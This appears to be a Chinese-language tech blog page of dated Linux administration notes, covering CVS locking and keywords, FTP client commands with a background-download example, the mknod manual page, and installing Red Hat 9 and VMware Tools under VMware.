    对于文本格式,CVS可以进行历史记录比较、版本合并等工作,而二进制文件不支持这个操作。对于二进制方式,由于无法进行合并,在无法保证只有一个用户修改文件的情况下,建议使用加锁方式进行修改。或者你认为你的修改很重要,需要其它开发者暂停提交,也可以使用锁
    cvs admin -l file_name
    锁定后其他用户就无法提交。当修改完毕提交后,锁将会自动解除。如果未修改而需要解锁,执行
    cvs admin -u file_name
    即可解除。锁无法由别的用户来解,所以锁定文件的开发者必须记得提交或解锁。
     
    15.  关键字扩展
     
    CVS提供许多关键字扩展的功能,当你提交时,CVS自动把关键字进行扩展,并填入你的源文件。常见的关键字有
    $Author$
    $Date$
    $Header$
    $Id$
    $Locker$
    $Name$
    $RCSfile$
    $Revision$
    $Source$
    $State$
    $Log$
    其中比较有用的有$Log$,添加这个标记之后,每次提交的版本、时间、开发者及注释等信息都被自动记录到源文件中,而$Id$这个标记则自动更新当前的版本号、更新时间和更新者等信息。
     
    建议的使用流程:
    1.登陆CVS(login)
    2.首次使用则需要checkout,之后每次工作之前先查询状态(status),有需要更新则update
    3.如果需要,上锁
    4.修改程序
    5.再次查询状态
    6.根据状态,对比二者的差异(diff),进行合并
    7.提交修改
    8.如果放弃修改,恢复到旧版本并解锁
    9.每过一段时间查询服务器状态,及时更新到最新版
  • 2006-12-22
     
    修改 /etc/xinetd.d/gssftp 这个文件,
    disable = no
    改成
    disable = yes

    然后,重启 xinetd service xinetd restart
    再重启动 vsftpd service vsftpd restart
  • 2006-12-21
    FTP命令是Internet用户使用最频繁的命令之一,不论是在DOS还是UNIX操作系统下 使用FTP,都会遇到大量的FTP内部命令,熟悉并灵活应用FTP的内部命令,可以大大方便 使用者,对于现在拨号上网的用户,如果ISP提供了shell可以使用nohup,那么ftp将是 你最省钱的上download方式,ftp的命令行格式为:ftp -v -d -i -n -g[主机名]   
    -v 显示远程服务器的所有响应信息。
       -d 使用调试方式。
       -n 限制ftp的自动登录,即不使用.netrc文件。
       -g 取消全局文件名。
      ftp使用的内部命令如下(其中括号表示可选项):   
    1.![cmd[args]]在本地机中执行交互shell、exit回到ftp环境,如!ls*.zip。
      2.¥ macro-ame[args]执行宏定义macro-name。
      3.account[password]提供登录远程系统成功后访问系统资源所需的补充口令。
      4.appendlocal-file[remote-file]将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。
      5.ascii 使用ascii类型传输方式。
      6.bell每个命令执行完毕后计算机响铃一次。
      7.bin使用二进制文件传输方式。
      8.bye退出ftp会话过程。
      9.case在使用mget时,将远程主机文件名中的大写转为小写字母。
      10.cd remote-dir 进入远程主机目录。
      11.cdup进入远程主机目录的父目录。
      12.chmod modefile-name将远程主机文件file-name的存取方式设置为mode,如chmod 777 a.out。
      13.close中断与远程服务器的ftp会话(与open对应)。
      14.cr使用asscii方式传输文件时,将回车换行转换为回行。
      15.delete remote-file删除远程主机文件。
      16.debug[debug-value]设置调试方式,显示发送至远程主机的每条命令,如debug3,若 设为0,表示取消debug。
      17.dir[remote-dir][local-file]显示远程主机目录,并将结果存入local-file。
      18.disconnection同close。
      19.form format将文件传输方式设置为format,缺省为file方式。
      20.getremote-file[local-file]将远程主机的文件remote-file传至本地硬盘的local-file。
      21.glob设置mdelete、mget、mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。
      22.hash每传输1024字节,显示一个hash符号(#)。
      23.help[cmd]显示ftp内部命令cmd的帮助信息,如help get。
      24.idle[seconds]将远程服务器的休眠计时器设为[seconds]秒。
      25.image设置二进制传输方式(同binary)
      26.lcd[dir]将本地工作目录切换至dir。
      27.ls[remote-dir][local-file]显示远程目录remote-dir,并存入本地local-file。
       28.macdef macro-name定义一个宏,遇到macdef下的空行时,宏定义结束。
       29.mdelete[remote-file]删除远程主机文件。
       30.mdir remote-files local-file与dir类似,但可指定多个远程文件,如mdir*.o.*. zipoutfile。
       31.mget remote-files传输多个远程文件。
       32.mkdir dir-name 在远程主机中建一目录。
       33.mls remote-file local-file同nlist,但可指定多个文件名。
       34.mode[mode-name]将文件传输方式设置为mode-name,缺省为stream方式。
       35.modtime file-name显示远程主机文件的最后修改时间。
       36.mput local-file将多个文件传输至远程主机。
       37.newerfile-name如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。
       38.nlist[remote-dir][local-file]显示远程主机目录的文件清单,并存入本地硬盘的local-file。
        39.nmap[inpatternoutpattern]设置文件名映射机制,使得文件传输时,文件中的某些字符相互转换,如nmap¥1.¥2.¥3 [¥1,¥2].[¥2,¥3],则传输文件a1.a2.a3时 ,文件名变为a1、a2,该命令特别适用于远程主机为非U-NIX机的情况。
       40.ntrans[inchars[outchars]]设置文件名字符的翻译机制,如ntrans1R,则文件名LL L将变为RRR。
       41.open host[port]建立指定ftp服务器连接,可指定连接端口。
       42.passive进入被动传输方式。
       43.prompt设置多个文件传输时的交互提示。
       44.proxyftp-cmd在次要控制连接中,执行一条ftp命令,该命令允许连接两个ft p
    服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。
       45.put local-file[remote-file]将本地文件local-file传送至远程主机。
       46.pwd显示远程主机的当前工作目录。
       47.quit同bye,退出ftp会话。
       48.quote arg1,arg2……将参数逐字发至远程ftp服务器,如quote syst。
       49.recv remote-file[local-file]同get。
       50.regetremote-file[local-file]类似于get,但若local-file存在,则从上次传输中断处续传。
       51.rhelp[cmd-name]请求获得远程主机的帮助。
       52.rstatus[file-name]若未指定文件名,则显示远程主机的状态,否则显示文件状态。
       53.rename[from][to]更改远程主机文件名。
       54.reset清除回答队列。
       55.restart marker从指定的标志marker处,重新开始get或put,如restart 130。
       56.rmdir dir-name删除远程主机目录。
       57.runique设置文件名唯一性存储,若文件存在,则在原文件后加后缀。
       58.send local-file[remote-file]同put。
       59.sendport设置PORT命令的使用。
       60.site arg1,arg2……将参数作为SITE命令逐字发送至远程ftp主机。
       61.size file-name显示远程主机文件大小,如site idle 7200。
       62.status显示当前ftp状态。
       63.struct[struct-name]将文件传输结构设置为struct-name,缺省时使用stream结构。
    64.sunique将远程主机文件名存储设置为唯一(与runique对应)。
       65.system显示远程主机的操作系统类型。
       66.tenex将文件传输类型设置为TENEX机所需的类型。
       67.tick设置传输时的字节计数器。
       68.trace设置包跟踪。
       69.type[type-name]设置文件传输类型为type-name,缺省为ascii,如typebinary,设置二进制传输方式。
       70.umask[newmask]将远程服务器的缺省umask设置为newmask,如umask 3。
       71.useruser-name[password][account]向远程主机表明自己的身份,需要口令时,必须输入口令,如user anonymous my@email。
       72.verbose同命令行的-v参数,即设置详尽报告方式,ftp服务器的所有响应都将显示给用户,缺省为on.
       73.?[cmd]同help。
      
    那么如何应用这些命令提高效率呢?下面我举一个例子,如何利用fttp进行后台下载,假设你的ISP给你提供了shell并且可以用nohup,你想由fttp.download.com/pub/internet/ 下载一个30M的程序aaa.zip具体步骤如下:
      1.用notepad做一个文件如aaa1内容如下
       open ftp.dwonload.com
       user anonymous zyz@cenpok.net
       cd /pub/internet/
       i
       get aaa.zip
       close
       bye
       2.拨号登录到你的ISP上。用telnet 或netterm登录到shell,一般都在你的home子目录里bbs~/
       3.用fttp上传aaa1到ISP服务器你的子目录。
       4. 执行nohup fttp -invd aaa2&
       这样这个进程就被放在ISP服务器的后台进行了,如果你想知道情况如何,可以more aaa2就可以知道情况如何了。这时你可以断线了或干点别的,估计时间到了(time约=30M/(33.6K/9)s)拨号上去,more aaa2如果显示成功下载aaa.zip就表示 aaa.zip已经被下载到ISP的服务器上了,你再由ISP的服务器拉回来就相当与点对点了,记得下载完成后del掉你的文件(aaa.zip),免得 浪费ISP资源,它会关掉shell的。
  • 2006-12-21
    名字
    mknod - 建立块专用或字符专用文件  
    总览
    mknod [options] name {bc} major minor
    mknod [options] name p  
    GNU 选项(缩写):
    [-m mode] [--help] [--version] [--]  
    描述
    mknod 用指定名称产生一个FIFO(命名管道),字符专用或块专用文件。
    文件系统中的一个专用文件存贮着三种信息(布朗型、整型、整型)。布朗型在字符文件与块文件之间作出选择,两个整型是主、次设备号。
    通常,一个专用文件并不在磁盘上占用空间,仅仅是为操作系统提供交流,而不是为数据存贮服务。一般地,专用文件会指向一个硬件设备(如:磁盘、磁带、打印机、虚拟控制台)或者操作系统提供的服务(如:/dev/null, /dev/random)。
    块文件通常类似于磁盘设备(在数据可以被访问的地方赋予一个块号,意味着同时设定了一个块缓存)。所有其他设备都是字符文件。(以前,两种文件类型间是有差别的。比如:字符文件I/O没有缓存,而块文件则有。)
    mknod命令就是用来产生这种类型文件的。
    以下参数指定了所产生文件的类型:

    p
    FIFO型
    b
    块文件
    c
    字符文件
    GNU版本还允许使用u('unbufferd'非缓冲化),以保持与C语言的一致。
    当创建一个块文件或字符文件时,主、次设备号必须在文件类型参数后给出。(十进制或八进制以0开头;GNU 版本还允许使用以0x开头的十六进制)缺省地,所产生的文件模式为0666('a+rw')。  
    选项
    -m mode, --mode=mode 为新建立的文件设定模式,就象应用命令chmod一样,以后仍然使用缺省模式建立新目录。
     
    GNU 标准选项
    --help 在标准输出上显示使用信息并顺利退出。 --version 在标准输出上显示版本信息并顺利退出 -- 终端选项列表。
     
    遵循
    POSIX 认为该命令不能移植而不支持这个命令,它推荐使用 mkfifo(1)来建立FIFO文件。SVID有一个命令/etc/mknod有以上语法,但没有模式选项。  
    注意
    在某些linux系统上(1.3.22或之后的版本) /usr/src/linux/Documentation/devices.tex文件包含了一个设备列表,包括设备名、类型及主、次设备号。本页对mknod的描述可以在fileutils-4.0中找到;其他版本会略有差别。
  • 2006-12-14
    不错的文档啊!保留
    以下是按总结的在XP和VMware Workstation 4.5.2下安装LINUX RED HAT 9 的要点。为了记录准确起见,偶删除了本已装好的VMWare下的RED HAT和VMWare下的虚拟机,重新设置虚拟机和安装RED HAT 9,一边设置/安装一边同时写下了以下的内容。之所以要这样,是因为对初学者来说,一个细小步骤/细节的省略或不清楚,都可能导致整个设置/安装过程的停顿。

    这个安装是借助VMWARE在XP下进行的LINUX安装,但我推测,在纯PC系统下的LINUX安装不会有太多的不同。若果真如此,我们就完全可以说:RED HAT 9的安装和WINDOWS的安装一样地简单。



    一、VMware Workstation 4.5.2的设定要点

    1.先安装好VMware Workstation 4.5.2(俺用的是E文版)。点help下的enter serial number,输入注册码(否则程序不能用)。

    2。选主窗口中的New Virtual Machine, 连按两个“下一步”之后,选“linux”,并在下面的下拉选单里选自己的linux 版本,然后按“下一步”;

    3。按“browse”选择虚拟机在XP下的所在目录。默认的目录是
    C:/Documents and Settings/q/My Documents/My Virtual Machines/Red Hat Linux
    但我觉得最好不要和XP同在C盘上。另外,虚拟机目录所在的盘要有足够的空间,因为安装好的RED HAT 9本身就有近1.8G。定好虚拟机目录后按“下一步”。

    4。选择适当的网络连接。按“下一步”。

    5。这一步是指定虚拟盘的容量,默认的是4G。俺加到6G后按“完成”。界面上出现了虚拟机,有内存、硬盘、光驱、软驱、网卡、USB控制器、声频适配器。界面的左部是“start this virtual machine”和“edit virtual machine setting”两个命令。点“edit virtual machine setting”命令可以添加部件。具体步骤是在弹出的界面上点“ADD”,然后选所要添加的部件。要注意的是,如果添加硬盘后又去掉(remove)硬盘,则好象并不删出XP目录下的这个硬盘项。具体情况还是问有经验的人吧。



    二、启动VMware Workstation 4.5.2中的虚拟机以及安装RED HAT 9

    1。启动之前,首先确定你的RED HAT 9是光盘还是虚拟光盘文件。我是在http://princo.org:8080/linux/redhat/9.0/iso/下载的RED HAT 9。

    这个网站目录下共有7个文件,下载其中的3个带“386”字样的应该就可以了。这是虚拟光盘版的RH9。

    2。若使用虚拟光盘版的RED HAT 9,要在启动VMWARE虚拟机前先装上虚拟光盘,方法是:
    1)双击VMWare界面右部的光驱CD-ROM图标,
    2)在弹出的对话框中选“Use ISO image”,
    3)按“Browse”,选你下载好的3个光盘文件中的第一个(注意:在后面的安装过程中还要重复步骤2)和3)以选择这3个光盘文件中的另2个),然后按“OK”。

    3。现在可以启动虚拟机了,就是点“start this virtual machine”命令,按OK,VMWARE的窗口里就出现了虚拟机启动的画面。

    要注意的是光标在XP界面和VMWARE界面间的切换方法。光标从XP到VMWARE,只要在VMWARE窗口上点鼠标即可。从VMWARE回到XP,则要按CTRL+ALT。


    4。RED HAT的光盘自动进入安装程序的界面。先问你要不要测光驱,我选不要;具体方法是:在VMWARE窗口上按一下鼠标,再按键盘上的右箭头键,然后回车。

    5。然后,在选择语言鼠标等之后,安装程序问是否要自动分区(Aotumatic Partitioning),我直接点的“Next”。下一个界面中有关于Aotumatic Partitioning的3种选择,我选第3个“保持所有分区并使用已有的未使用空间”(keep all partitions and use existing free space)。然后我是连点NEXT。

    5。选完系统时间之后,安装程序要求设置root (administrator)密码,中文直译是根(管理员)密码。设好后,连点几个“NEXT”,就开始安装了。

    6。一段安装过后(10分钟或更长吧),安装程序提示换第二张光盘,这时新手们可能感到不知所措了。正确的方法是,找到VMWARE窗口右下角边上的4个小图标,双击其中左数第二个(就是光驱图标),就会出现上面步骤2.2中提到的那个对话框,按“Browse”,选你下载好的3个光盘文件中的第二个,按OK,再到VMWARE窗口中按OK,就完成了换第二张盘的工作。

    7。在提示换第三张盘时,按步骤6的方法换第三张盘。

    8。第三张读完后,系统问是否做启动盘,随便啦(俺没做),然后就是显卡之类的,俺都是默认。最后选一个“EXIT”,VMWARE内系统重启。

    9。重启后,系统提示你可以开一个个人帐号(personal account)和密码。注意,虽然这里不开帐号也能过,但实际上是不行的,你必须在这里起一个户名和密码,因为再启动时你必须提供personal account和密码,否则不给你开机。然后是选日子和试听声卡(第一次听到LINUX的声音,不错地呀)。然后问你是否注册,俺选NO(VMWare下吗,不过玩一玩而已啦)。接着又问有无附加安装,先不装吧,把系统搞定了先,所以直接按“FORWARD”。VMWARE内系统重启。

    10。启动后,系统问用户名和密码。输入在步骤9中开的户名和密码即可(没有的不行!)然后,就是RED HAT 9的界面。安装大功告成啦!!!
    ***********************************************************************************
    正确安装 VMWARE TOOLS步骤如下:
    1、以ROOT身份进入LINUX
    2、按下 CTRL+ALT组合键,进入主操作系统,点击VMWARE状态栏安装提示,或者点击 SETTING菜单下的ENABLE VMWARE TOOLS子菜单。
    3、确认安装VMWARE TOOLS。
     这时我们并没有真正的安装上了VMWARE TOOLS软件包,如果您点击菜单:DEVICES,您就会发现光驱的菜单文字变为:ide1:0-> C:Program
    FilesVMwareVMware WorkstationProgramslinux.iso,这表示VMWARE将LINUX的ISO映象文件作为了虚拟机的光盘
    4、鼠标点击LINUX界面,进入LINUX。
    5、运行如下命令,注意大小写。
      mount -t iso9660 /dev/cdrom /mnt
      加载CDROM设备,这时如果进入 /mnt 目录下,你将会发现多了一个文件:vmware-linux-tools.tar.gz。这就是WMWARE TOOLS的LINUX软件
    包,也就是我们刚才使用WINISO打开LINUX.ISO文件所看到的。
      cp /mnt/vmware-linux-tools.tar.gz /tmp
      将该软件包拷贝到LINUX的 TMP目录下。
      umount /dev/cdrom
      卸载CDROM。
      cd /tmp
      进入TMP目录
      tar zxf vmware-linux-tools.tar.gz
      解压缩该软件包,默认解压到vmware-linux-tools目录下(与文件名同名)。
      cd vmware-linux-tools
      进入解压后的目录
      ./install.pl
      运行安装命令。
    这时install提示你是否需要备份以前的配置文件,建议选择“y”。
      等待INSTALL运行完成后,这时键入 START 命令,是不是可以看到漂亮的LINUX图形界面了?
 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值